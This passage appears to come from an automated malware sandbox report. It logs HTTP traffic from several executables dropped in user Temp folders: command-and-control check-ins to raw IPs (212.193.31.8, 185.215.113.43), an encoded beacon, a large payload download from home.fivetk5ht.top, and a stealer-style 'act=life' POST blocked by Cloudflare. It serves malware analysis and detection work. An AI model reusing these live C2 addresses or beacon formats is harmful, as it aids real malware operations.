                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:16:03.944696903 CET1236INData Raw: 2b 00 00 06 73 5c 00 00 0a 28 0e 00 00 2b 28 04 00 00 2b 73 26 00 00 0a 0c 2b 00 08 2a 13 30 02 00 18 00 00 00 14 00 00 11 00 28 5d 00 00 0a 0a 12 00 72 ae 02 00 70 28 5e 00 00 0a 0b 2b 00 07 2a 1b 30 07 00 d3 00 00 00 15 00 00 11 00 00 73 5f 00
                                                                                                                                                                                                                                                                                  Data Ascii: +s\(+(+s&+*0(]rp(^+*0s_%s`%rpoa%rprp(boc%od%oe%of%ogohoi&ojokolokom(>,rp((+rlp
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:16:03.944709063 CET1236INData Raw: 00 02 14 7d 19 00 00 04 de 19 06 16 2f 14 02 7b 18 00 00 04 2c 0c 02 7b 18 00 00 04 6f 33 00 00 0a 00 dc 02 14 7d 18 00 00 04 00 de 29 13 04 02 11 04 7d 1c 00 00 04 00 72 80 04 00 70 02 7b 1c 00 00 04 6f 59 00 00 0a 28 1a 00 00 0a 28 19 00 00 0a
                                                                                                                                                                                                                                                                                  Data Ascii: }/{,{o3})}rp{oY((}|(|}|(}*AdW&[)*"(n
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:16:03.944720030 CET448INData Raw: 2b 00 dd 99 04 00 00 02 7b 44 00 00 04 0b 02 7c 44 00 00 04 fe 15 21 00 00 01 02 15 25 0a 7d 27 00 00 04 12 01 28 70 00 00 0a 00 72 4b 09 00 70 7e 05 00 00 04 28 1a 00 00 0a 28 19 00 00 0a 00 72 7f 09 00 70 7e 06 00 00 04 28 1a 00 00 0a 28 19 00
                                                                                                                                                                                                                                                                                  Data Ascii: +{D|D!%}'(prKp~((rp~(({)(}2rp({2o}<+J|<(}=rp|=(|=(H((|=|<(-/|<o3
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:16:03.944988966 CET1236INData Raw: 00 04 28 0d 00 00 06 7d 36 00 00 04 72 bb 0a 00 70 28 19 00 00 0a 00 00 02 02 7b 36 00 00 04 6f 2d 00 00 0a 7d 3e 00 00 04 2b 26 02 02 7c 3e 00 00 04 28 2e 00 00 0a 7d 3f 00 00 04 00 02 7b 3f 00 00 04 28 19 00 00 0a 00 00 02 14 7d 3f 00 00 04 02
                                                                                                                                                                                                                                                                                  Data Ascii: (}6rp({6o-}>+&|>(.}?{?(}?|>(2-/|>o3|>{)(}7rp{7(({2o}8rCp{8H(({)(}9rp{9(
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:16:03.945183992 CET224INData Raw: 09 ee 0d 06 00 73 03 52 0b 06 00 05 0b eb 0a 0a 00 a1 0c bc 0d 06 00 89 0c 52 0b 06 00 82 06 52 0b 0a 00 9b 0e bc 0d 06 00 48 0d ee 0d 06 00 21 08 ee 0d 06 00 6c 03 52 0b 0a 00 a0 0a 4a 0e 0e 00 cd 02 b8 05 06 00 9a 07 ee 0d 06 00 bf 02 ee 0d 06
                                                                                                                                                                                                                                                                                  Data Ascii: sRRRH!lRJ-_BR~RRJvJiRRb/=dJ*
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:16:03.945194006 CET1236INData Raw: 0e 06 00 b9 06 98 05 06 00 86 0e 98 05 06 00 cf 07 98 05 06 00 31 0b 98 05 06 00 bb 0a 98 05 06 00 4c 10 98 05 06 00 b2 0c 98 05 06 00 cb 0a 51 0a 06 00 22 03 52 0b c3 00 1d 0d 00 00 00 00 00 00 7a 05 00 00 00 00 01 00 01 00 00 00 10 00 38 0b 03
                                                                                                                                                                                                                                                                                  Data Ascii: 1LQ"Rz8A!ACA&A(DA*AA,.A/A'2113333Q6`
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:16:03.945214987 CET224INData Raw: 00 23 00 22 2e 00 00 00 00 86 18 af 0d 06 00 24 00 2c 2e 00 00 00 00 e1 01 a6 0f 06 00 24 00 4c 30 00 00 00 00 e1 01 ad 07 26 00 24 00 4e 30 00 00 00 00 86 18 af 0d 06 00 25 00 58 30 00 00 00 00 e1 01 a6 0f 06 00 25 00 24 37 00 00 00 00 e1 01 ad
                                                                                                                                                                                                                                                                                  Data Ascii: #".$,.$L0&$N0%X0%$7&%%I))%
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:16:04.064403057 CET1236INData Raw: 0e 00 00 01 00 72 0b 00 00 01 00 72 0b 00 00 01 00 67 0f 00 00 01 00 72 0b 00 00 01 00 72 0b 00 00 01 00 72 0b 00 00 01 00 1b 06 00 00 01 00 72 0b 00 00 01 00 1b 06 00 00 01 00 67 0f 00 00 01 00 af 0e 00 00 01 00 bd 07 00 00 01 00 bd 07 00 00 01
                                                                                                                                                                                                                                                                                  Data Ascii: rrgrrrrg)19AIQYaiqy 11&YA2AI8AEq


                                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                                  24192.168.2.449918212.193.31.8801284C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe
                                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:16:03.587240934 CET160OUTPOST /3ofn3jf3e2ljk2/index.php HTTP/1.1
                                                                                                                                                                                                                                                                                  Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                  Host: 212.193.31.8
                                                                                                                                                                                                                                                                                  Content-Length: 4
                                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                                  Data Raw: 73 74 3d 73
                                                                                                                                                                                                                                                                                  Data Ascii: st=s
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:16:04.876127958 CET155INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                  Date: Sat, 21 Dec 2024 11:16:04 GMT
                                                                                                                                                                                                                                                                                  Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                                                                                                                                                                  Content-Length: 8
                                                                                                                                                                                                                                                                                  Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                  Data Raw: 20 3c 63 3e 33 3c 64 3e
                                                                                                                                                                                                                                                                                  Data Ascii: <c>3<d>


                                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                                  25192.168.2.449923185.121.15.192804504C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exe
                                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:16:05.259423018 CET123OUTGET /zldPRFrmVFHTtKntGpOv1734579851?argument=CmXX9uDEYSg7ov7J1734779763 HTTP/1.1
                                                                                                                                                                                                                                                                                  Host: home.fivetk5ht.top
                                                                                                                                                                                                                                                                                  Accept: */*
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:16:06.866019011 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                  Server: nginx/1.22.1
                                                                                                                                                                                                                                                                                  Date: Sat, 21 Dec 2024 11:16:06 GMT
                                                                                                                                                                                                                                                                                  Content-Type: application/octet-stream
                                                                                                                                                                                                                                                                                  Content-Length: 10816560
                                                                                                                                                                                                                                                                                  Connection: close
                                                                                                                                                                                                                                                                                  Content-Disposition: attachment; filename="2QEtacHyJXtAjIXfSS;"
                                                                                                                                                                                                                                                                                  Last-Modified: Thu, 19 Dec 2024 03:44:11 GMT
                                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                                  ETag: "1734579851.9291923-10816560-2974095529"
                                                                                                                                                                                                                                                                                  Data Raw: 43 6e b9 73 e8 06 85 00 03 9d f1 44 4f d4 2a 88 21 04 ac 53 e5 65 e5 f8 bf 81 f9 ed af 8a 19 34 29 2d 35 35 ca 51 a3 c6 fa 72 39 4f 87 29 e9 fc a1 e6 79 df 5d d5 8b 59 90 72 e5 93 74 eb 85 53 0c b4 6c d7 35 26 ab a6 90 a1 b5 eb b7 a9 23 82 8c 84 f4 2e 0b fa 65 06 8d 2c 5c a7 1c 0a 83 50 8c 81 98 49 8b 04 a8 21 03 99 5b 44 18 fd 80 55 2d 82 9d b6 fb 4b 63 52 18 b4 71 54 20 7c 94 c1 86 d9 34 33 36 df de 89 63 c9 3b 71 a7 da 02 0d 89 96 a9 5e 28 8f 6d 1e 31 4c e9 81 7e 48 1b 9a a2 24 0d 94 5b 49 09 5d f2 82 57 a7 e0 4c a1 54 ad 91 7f 16 85 ea 25 3a a7 9c cc 77 9c 59 2a 15 02 86 d0 49 18 ae 03 35 a0 fe b1 9d 8b a8 a9 50 c4 c7 36 19 a6 08 7b 5b c7 5a 05 b3 52 19 8e e9 76 61 c0 13 98 7a e4 12 b4 3e ed 2a 27 a6 ef a2 4a 7a be 30 0a 4a 3f 4b ef 76 8d 82 73 ac b5 71 5c b9 b2 6a 7d 15 a8 94 51 11 6d c2 8a ec a1 fb d0 35 3e 2c 4c 2d 2c 78 78 7a 54 c2 05 1c 5d 58 69 0f 5f ff 4a 6a 4f 17 c5 e1 bb 5c 45 3a 15 28 ac 5e 0d 95 d9 a0 8c ad 2d 74 9a 69 c1 ac 6e ea d3 6b f3 b7 70 0e 40 ed e0 34 15 4a 31 89 25 eb d8 df [TRUNCATED]
                                                                                                                                                                                                                                                                                  Data Ascii: CnsDO*!Se4)-55Qr9O)y]YrtSl5&#.e,\PI![DU-KcRqT |436c;q^(m1L~H$[I]WLT%:wY*I5P6{[ZRvaz>*'Jz0J?Kvsq\j}Qm5>,L-,xxzT]Xi_JjO\E:(^-tinkp@4J1%Ef!wrvX{m*B_b2N5U3\CeBWr|s$9.Y,M@qbwPx.T N~L9iRYS,bzfr+6tisA?G1:8lrhS|!8M`<.MpxvG1N9tR!rbV],c)a,rk?AD:2V&P/\@2Rfg?]Booydm_Kl&5KOC%Z6K.D0y6YYj2>E{sS'>u/`s$@s$Wq8I?QKhxTpgwaCWMAsE&W?oOn.d\vsdudNl E=d"5S=aDp!@wuMu$RCApM(UuEAA (y;
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:16:06.866075039 CET1236INData Raw: 99 c8 66 50 7c a1 c2 73 ce f1 36 9e a8 73 6f 92 ea 31 94 ed 15 86 a3 ac cb 21 e0 d6 65 79 bb 0e db 86 1d e0 96 67 16 a2 a4 e0 91 1c 70 41 4d b7 c2 02 ef a3 99 60 b7 0c bd a2 33 d9 95 31 c6 7d 7c ce aa ca 32 28 37 73 37 5a 2d 14 f8 7e df 1e d5 8c
                                                                                                                                                                                                                                                                                  Data Ascii: fP|s6so1!eygpAM`31}|2(7s7Z-~_ir1b5<\I5<+4~CjhlU\p<@GGb2OA@q>Q)NLajz]- 9QRN9r_12n@o0FZe3mv
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:16:06.866086006 CET1236INData Raw: 0e c7 fc 3f c6 a8 39 42 05 0a 48 82 29 91 14 ff 39 a9 4f 86 0f 93 ab fb 5a 50 fa bc e1 cc e9 35 3b b0 47 03 72 41 36 60 bb 9c ce 72 bf 4d f6 18 90 15 d9 8e 4d ca d8 2f 7a 2b 8f 85 df fe e2 88 b6 33 28 d8 1e 8c d5 d2 ad 39 99 88 25 d6 78 5a ca 9b
                                                                                                                                                                                                                                                                                  Data Ascii: ?9BH)9OZP5;GrA6`rMM/z+3(9%xZz;k*rqt,y2(hm^8&z]b*)cc=EJfzIedI+*qGkdWl]9e!oo'cO:;B++F
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:16:06.866214037 CET672INData Raw: d7 5f 18 12 44 06 ea 06 91 13 7c 6b 53 fc 20 a7 9c 5c 97 6a 74 a3 f6 f9 19 48 27 b6 e4 a2 45 ca 82 cb bd 28 87 50 68 b9 47 42 9e e6 f9 a1 d7 7e 99 f2 59 33 b0 fa 30 2f 93 e2 d8 ea d5 70 d6 ae 1e ec c9 66 0b 17 17 ec 76 db 8d 01 ff cc 5f dd 4b e3
                                                                                                                                                                                                                                                                                  Data Ascii: _D|kS \jtH'E(PhGB~Y30/pfv_Ku9meW*r5d\ek;.W}BvM_bjZnQ4+ZA^[^3n`H%'NHdoS["]lM.I( xA:h
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:16:06.866224051 CET1236INData Raw: 0c b8 26 2f d2 fc 51 cf 40 96 53 ca ee dd 9c f8 c2 91 fc 02 c1 75 de a1 b3 d5 43 f9 c5 a5 cc f9 7c b4 e7 a0 57 4e 28 6d 60 4c f7 73 31 c2 8a cf 87 2c b0 fb e1 b8 00 70 21 90 7c a1 3d 4e cb 49 96 fc 39 f3 d0 f4 35 11 a2 af c2 a2 ac 98 fa 0c 0e 06
                                                                                                                                                                                                                                                                                  Data Ascii: &/Q@SuC|WN(m`Ls1,p!|=NI95M9nzo{e,{`X1uo#@u8c.2e/&Rs^,Zt2xU^,DTrx[@'4&YvqL{<$%v7_!z:35j<p
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:16:06.866235971 CET1236INData Raw: 8c d5 34 42 a3 48 8a d9 dc 44 80 64 b1 b7 88 3d f9 5f 5b bb ac 03 82 92 dd 95 04 a4 12 c3 b3 a6 7c 01 b4 c2 5d 37 1f 61 09 a2 74 f7 bb bc 8d b9 6d c3 ec 34 aa 4e 5d 6c e1 a1 97 28 99 f8 58 09 e0 72 a7 6c b1 6c bf 55 f4 13 d7 c0 94 e3 e5 90 c8 5a
                                                                                                                                                                                                                                                                                  Data Ascii: 4BHDd=_[|]7atm4N]l(XrllUZfy&)?=cF|=xJ0KS%`Z"XQJu6m :nT:kZ?G^&_H)4;EF?b*izu^@VsZ1LU*G
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:16:06.866246939 CET1236INData Raw: 58 d3 2e 25 eb 6e 7e 1f ef ff 4d a3 f0 e6 f5 66 66 ae 18 45 d0 0f 96 ec 97 f3 d3 ba ed 54 bf ff b1 4c 65 be 1c a9 d4 8a 31 39 11 f0 09 cd 94 d8 b0 d9 c3 2d ab d2 64 59 4d 3a b5 6a 90 c1 b0 bb 00 ec be 6c 87 bc d7 be 3c 12 18 9e 78 f7 65 66 37 b7
                                                                                                                                                                                                                                                                                  Data Ascii: X.%n~MffETLe19-dYM:jl<xef7AtNsDrNu0acnW,{Yl}95&qVt853#+NWPrUQOzO0o!D=<@8+)9a*};w|O)p^:7$}qiZ!B8Vk
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:16:06.866257906 CET1236INData Raw: 04 74 23 84 40 85 25 83 ef ec 18 36 bf 83 c7 fb 7e df e8 3d 8b 76 98 1a 4a 46 b6 06 3d cf 34 cf f0 d7 91 40 67 75 c6 3c 26 b8 a8 80 c1 64 53 07 b8 5b bd e4 0d dc b1 f6 43 be 08 fe ac 63 2f a5 34 0c e6 33 10 f5 3f 0c 0c 29 c9 27 6f fe 5e 20 6f 85
                                                                                                                                                                                                                                                                                  Data Ascii: t#@%6~=vJF=4@gu<&dS[Cc/43?)'o^ oSd,Mcz8_zOid3S`w:b^K4A=TnpC)b(Y^p:BBwEBJQ;tazv]S@yD"r:L w
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:16:06.866429090 CET1236INData Raw: 4e 4c c9 29 1a 09 37 29 2e b6 32 f1 3b 82 4c 83 85 83 9d 0e 7c ed dd df 00 61 5f 68 56 80 3a bf 72 42 af 97 a3 77 8d 0f 34 cb 12 4e 7e 00 de 3e 84 ae 2a 48 10 80 de 71 77 70 5c bc 32 76 7a f9 a8 28 f6 95 a1 43 9e 85 d1 33 85 94 1c f6 f0 b2 5d e8
                                                                                                                                                                                                                                                                                  Data Ascii: NL)7).2;L|a_hV:rBw4N~>*Hqwp\2vz(C3]vw`$qu3PkKBg,DrN>&To58;`kr*^v?^j(>ETD4Zq{5]e7HpWc:+;:wL&mi1/8StB
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:16:06.866494894 CET1236INData Raw: af 7b e1 d6 57 c4 38 e2 90 97 98 2d c9 bc b7 48 90 b6 3b 93 28 f8 4e d4 4f 60 58 72 04 01 9d 5b 26 2a 12 4c b8 f3 a8 18 f8 2f ad 36 78 80 83 6c e5 b1 c4 6f 42 1a f8 3d de c7 bb 93 e0 a5 3a 2e 68 bd cf 9b 39 1f a7 a3 a8 e8 3a 46 a9 41 44 45 cd 00
                                                                                                                                                                                                                                                                                  Data Ascii: {W8-H;(NO`Xr[&*L/6xloB=:.h9:FADE+% ?cE|)fc!1u\5B^TA_n#Fva/W^t@gQI}HQ~ol ?~.ZtK?f@GIM9A\N5OprI4^T
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:16:06.985632896 CET1236INData Raw: 0d c8 f6 d3 98 b5 dd f4 42 c3 4a a9 ed f6 3f 0e fe f2 d7 c7 f8 35 ea 2b 4a a3 2f 0d 56 1c a8 7d f6 ee 62 e5 1b db 22 13 88 a8 d1 67 56 4c 18 0d 02 28 1b 64 51 b6 b7 66 fd cf fe 40 3b b4 e3 42 61 3b 5a 31 db 69 2c cb b0 49 18 39 cd 1c 29 63 51 d9
                                                                                                                                                                                                                                                                                  Data Ascii: BJ?5+J/V}b"gVL(dQf@;Ba;Z1i,I9)cQY@`;/*9H+AX5EluUar=%7fk*G.m1f`xw(b23:4THB=G&SzzEdmj^J4)]C)qU%">%t3dv


                                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                                  26192.168.2.449926212.193.31.8801284C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe
                                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:16:06.513631105 CET312OUTPOST /3ofn3jf3e2ljk2/index.php HTTP/1.1
                                                                                                                                                                                                                                                                                  Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                  Host: 212.193.31.8
                                                                                                                                                                                                                                                                                  Content-Length: 154
                                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                                  Data Raw: 72 3d 45 35 46 44 44 37 34 37 41 45 46 35 41 37 42 42 36 33 30 36 39 36 36 35 44 39 34 38 41 32 37 32 41 41 44 32 38 44 30 45 37 30 32 32 37 37 44 42 37 34 44 31 35 41 35 37 34 42 42 41 32 36 33 44 45 33 32 36 41 33 44 30 45 37 45 37 45 42 36 32 37 44 31 30 45 41 41 35 37 32 45 43 42 39 30 46 42 36 34 38 42 42 44 37 31 46 36 31 39 46 32 45 41 34 31 46 42 45 45 42 39 46 46 34 45 42 35 31 46 34 35 37 45 43 30 30 30 32 45 43 39 41 45 33 36 34 42 41 39 39 37 33
                                                                                                                                                                                                                                                                                  Data Ascii: r=E5FDD747AEF5A7BB63069665D948A272AAD28D0E702277DB74D15A574BBA263DE326A3D0E7E7EB627D10EAA572ECB90FB648BBD71F619F2EA41FBEEB9FF4EB51F457EC0002EC9AE364BA9973
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:16:07.846736908 CET154INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                  Date: Sat, 21 Dec 2024 11:16:07 GMT
                                                                                                                                                                                                                                                                                  Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                                                                                                                                                                  Content-Length: 7
                                                                                                                                                                                                                                                                                  Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                  Data Raw: 20 3c 63 3e 3c 64 3e
                                                                                                                                                                                                                                                                                  Data Ascii: <c><d>


                                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                                  27192.168.2.449930185.215.113.43807324C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:16:06.986037016 CET184OUTPOST /Zu7JuNko/index.php HTTP/1.1
                                                                                                                                                                                                                                                                                  Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                  Host: 185.215.113.43
                                                                                                                                                                                                                                                                                  Content-Length: 31
                                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                                  Data Raw: 64 31 3d 31 30 31 39 33 32 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39
                                                                                                                                                                                                                                                                                  Data Ascii: d1=1019321001&unit=246122658369
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:16:08.323084116 CET193INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                  Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                                                  Date: Sat, 21 Dec 2024 11:16:08 GMT
                                                                                                                                                                                                                                                                                  Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                  Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                                  Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                                                  Data Ascii: 4 <c>0


                                                                                                                                                                                                                                                                                  HTTPS Proxied Packets

                                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                                  0192.168.2.449805104.21.67.1464438036C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exe
                                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:29 UTC265OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                                                                                                                                                  Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                                                  Content-Length: 8
                                                                                                                                                                                                                                                                                  Host: cheapptaxysu.click
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:29 UTC8OUTData Raw: 61 63 74 3d 6c 69 66 65
                                                                                                                                                                                                                                                                                  Data Ascii: act=life
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:30 UTC562INHTTP/1.1 403 Forbidden
                                                                                                                                                                                                                                                                                  Date: Sat, 21 Dec 2024 11:15:29 GMT
                                                                                                                                                                                                                                                                                  Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                  Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                                  Connection: close
                                                                                                                                                                                                                                                                                  X-Frame-Options: SAMEORIGIN
                                                                                                                                                                                                                                                                                  Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HpnOlsQBYc93jnYqYKuP7cMib0EwdqtVBwn5RuDo56tugvY6ia3%2B3FlLP%2BMIALvVv8C69qFtyb%2FKTwMzISNk73H915lc09QWMM5EuAkCc31EYOR%2BuWNMi1Koc%2F1QynmcNKajayk%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                                  NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                                  Server: cloudflare
                                                                                                                                                                                                                                                                                  CF-RAY: 8f57745ffddf424a-EWR
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:30 UTC807INData Raw: 31 31 63 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20
                                                                                                                                                                                                                                                                                  Data Ascii: 11c4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:30 UTC1369INData Raw: 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e
                                                                                                                                                                                                                                                                                  Data Ascii: cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElemen
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:30 UTC1369INData Raw: 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 6c 65 61 72 6e 69 6e 67 2f 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20
                                                                                                                                                                                                                                                                                  Data Ascii: <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:30 UTC1011INData Raw: 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50
                                                                                                                                                                                                                                                                                  Data Ascii: class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">8.46.123.189</span> <span class="cf-footer-separator sm:hidden">&bull;</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>P
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:30 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                                                  Data Ascii: 0


                                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
